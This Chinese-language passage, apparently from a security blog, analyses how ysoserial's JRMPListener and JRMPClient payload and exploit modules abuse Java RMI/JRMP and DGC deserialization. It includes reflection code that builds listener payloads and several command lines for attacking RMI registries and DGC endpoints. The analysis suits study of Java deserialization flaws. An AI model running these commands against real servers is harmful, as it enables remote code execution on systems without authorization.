with JDK 1.7.0_80
with java-rmi-server/rmi.RMIServer2
看情况取舍:
上面说的RMI通信过程中假设客户端在与RMI服务端通信中,虽然也是在JRMP协议上进行通信,尝试传输序列化的恶意对象到服务端,此时服务端若也返回客户端一个恶意序列化的对象,那么客户端也可能被攻击,利用JRMP就可以利用socket进行通信,客户端直接利用JRMP协议发送数据,而不用接受服务端的返回,因此这种攻击方式也更加安全。
这里我们针对 ysoserial 的几个相关 Class 进行分析,首先先列举下相关的作用。
payloads.JRMPListener 在目标服务器目标端口上开启JRMP监听服务 - 独立利用
payloads.JRMPClient 向目标服务器发送注册 Ref,目标 exploit.JRMPListener 地址
exploit.JMRPListener 被动向请求方传输序列化 payload
exploit.JRMPClient 主动向目标服务器传输序列化 payload
除此之外,我们还需要了解下关于DGC的一些内容,以便理解下面的内容。
RMI.DGC 为 RMI 分布式垃圾回收提供了类和接口。当 RMI 服务器返回一个对象到其客户机(远程方法的调用方)时,其跟踪远程对象在客户机中的使用。当再没有更多的对客户机上远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。
payloads.JRMPListener
在了解之前,我们先看下JAVA原生序列化有两种接口实现。
1.Serializable接口:要求实现writeObject、readObject、writeReplace、readResolve
2.Externalizable接口:要求实现 writeExternal、readExternal
分析
回到JRMPListener中,代码很简单,主要功能就是生成一个开启目标端口进行监听RMI服务的payload。
我们首先跟入到
ysoserial.payloads.util.Reflections#createWithConstructor,了解下函数逻辑。
1.先查找RemoteObject下参数类型为 RemoteRef 的构造器。
2.根据找到的构造器为ActivationGroupImpl动态生成一个新的构造器并生成实例。
为什么需要这样呢?其实就是为了避免调用ActivationGroupImpl本身的构造方法,避免复杂的或其他不可控的问题。
我们关注下UnicastRemoteObject在序列化阶段做了什么,从reexport跟入到exportObject,创建监听并返回此 stub。
另外,通过上面的分析实际上我们只用需要UnicastRemoteObject就足够开启监听利用,下面两种也可以,但好奇为什么作者要通过子类转换实现利用呢?
ActivationGroupImpl uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
UnicastRemoteObject uro = Reflections.createWithConstructor(UnicastRemoteObject.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
利用
java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPListener <new_listener_port>
java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <new_listener_port> <payloads> <args[]>
payloads.JRMPClient
分析
作为 payloads 核心代码依旧不是很多,生成 ref 并封装到 handler,动态代理Registry类。
实际上,对于 ClassLoader 我们是可以设置为 Null,这个问题可以通过上面的资料链接回答。
至于为什么强转为 Registry ?只是因为我们动态代理了这个类,集成了需要代理类的各种方法,在不调用这些方法时替换成任意 Object 子类均可。
现在我们看下代码逻辑:
当我们传递一个 proxy 准备序列化时,大意上同样会对其成员进行序列化(这里不展开,需要自己看序列化),所以会调用其父类 RemoteObject.readObject()
注意到最后会调用 readExternal 方法,原因已在上文提到。
这里便会调用
sun.rmi.server.UnicastRef#readExternal,
之后进入
sun.rmi.transport.LiveRef#read,
但这里并不能进入到 DGCClient 注册,但会把 ref 信息存入到
ConnectionInputStream.incomingRefTable中。
在最后释放输入连接时,会对incomingRefTable中的 ref 进行注册。
为什么要这么做呢?java 注释写有,详细内容没有查到。
/*** Save reference in order to send "dirty" call after all args/returns * have been unmarshaled. Save in hashtable incomingRefTable. This * table is keyed on endpoints, and holds objects of type * IncomingRefTableEntry. */
而在
sun.rmi.transport.DGCImpl_Skel#dispatch中也是类似注释中的流程。
回到 ref 注册,实际是会在 DGCClient 中对 refs 进行注册。
然后对传输过来的数据直接进行反序列化解析,这里的内容放在
exploit.JRMPListener中讲解。
所以整个流程分析下来,并没有看到需要使用动态代理的地方,因此生成 payload 时直接序列化传输RemoteObject子类也就足够,而原生自带的容易控制的子类为RemoteObjectInvocationHandler,即:
利用
payloads.JRMPClient 是要配合 exploit.JRMPListener 一起使用的。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>
java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPClient <listener_ip>:<listener_port>
exploit.JRMPListener
分清两个JRMPListener的区别
payloads.JRMPListener 在目标机上开启 JMRP 监听
exploit.JRMPListener 实现对 JRMP Client 请求的应答
分析
从 Main 可以看到基本逻辑就是开启监听 JRMP 端口等待连接后传输恶意 payload。
在监听时对协议进行解析,对为 StreamProtocol、SingleOpProtocol 的连接均会通过 doMessage 进行应答。
而在 doMessage 中对远程RMI调用发送 payload 数据包。
那么 payload 是填充到哪里了呢?
注意到 doCall 函数中的这段代码,和 cc5 的入口点是一样的。
但需要注意的是,
BadAttributeValueExpException.readObject的触发点不一定是 valObj.toSting(),这里在调试的时候出现了一堆莫名其妙的现象。
抛开后续的利用,我们从开始看下目标是如何向 JRMPListener 请求的。
会向 DGCClient 中进行注册 Ref,通过80请求、81应答进行传输,这里可以关注下调用栈,结合上面 DGC 内容进行了解。
那么 80 是如何出现的呢?
看到StreamRemoteCall初始化时会直接往第一个字节写入 80。
接着目标会读取 Listener 传递的值对之后的内容选择是否进行反序列化,反序列化的内容就和上面连接起来了。
额外提一下,var1在这里的意义是用来判断Listener是否为正常返回,如果因为某些原因在 Listener 端产生了异常报错需要将报错信息传递回请求端,而传递的信息是序列化的所以会在请求端触发反序列化。
利用
本身无法直接利用的,需要向目标机发送 payloads.JRMPClient 以被动攻击。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>
exploit.JRMPClient
分清两个 JRMPClient 区别,以及 RMIRegistry
Exploit
payloads.JRMPClient 向目标DGC注册Ref
exploit.JRMPClient 向目标DGC传输序列化 payload
exploit.RMIRegistryExploit 向目标RMI.Registry传输序列化 payload,目标为 RMI.Registry 监听端口
下面是payloads.JRMPListener和RMI.Registry 开启的监听端口在nmap扫描下的不同信息:
exploit.JRMPClient 可以对两者进行攻击;
exploit.RMIRegistryExploit只能攻击后者。
分析
先在sun.rmi.server.UnicastServerRef#dispatch中读取 Int 数据。
然后在
sun.rmi.server.UnicastServerRef#oldDispatch中读取 Long 数据。
之后进入
sun.rmi.transport.DGCImpl_Skel#dispatch,先对读取的 Long 数据即接口 hash 值进行判断是否为相同。
再根据之前读取的 Int 数据进行相应的处理。
利用
java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <rmi_port> <payloads> <args[]>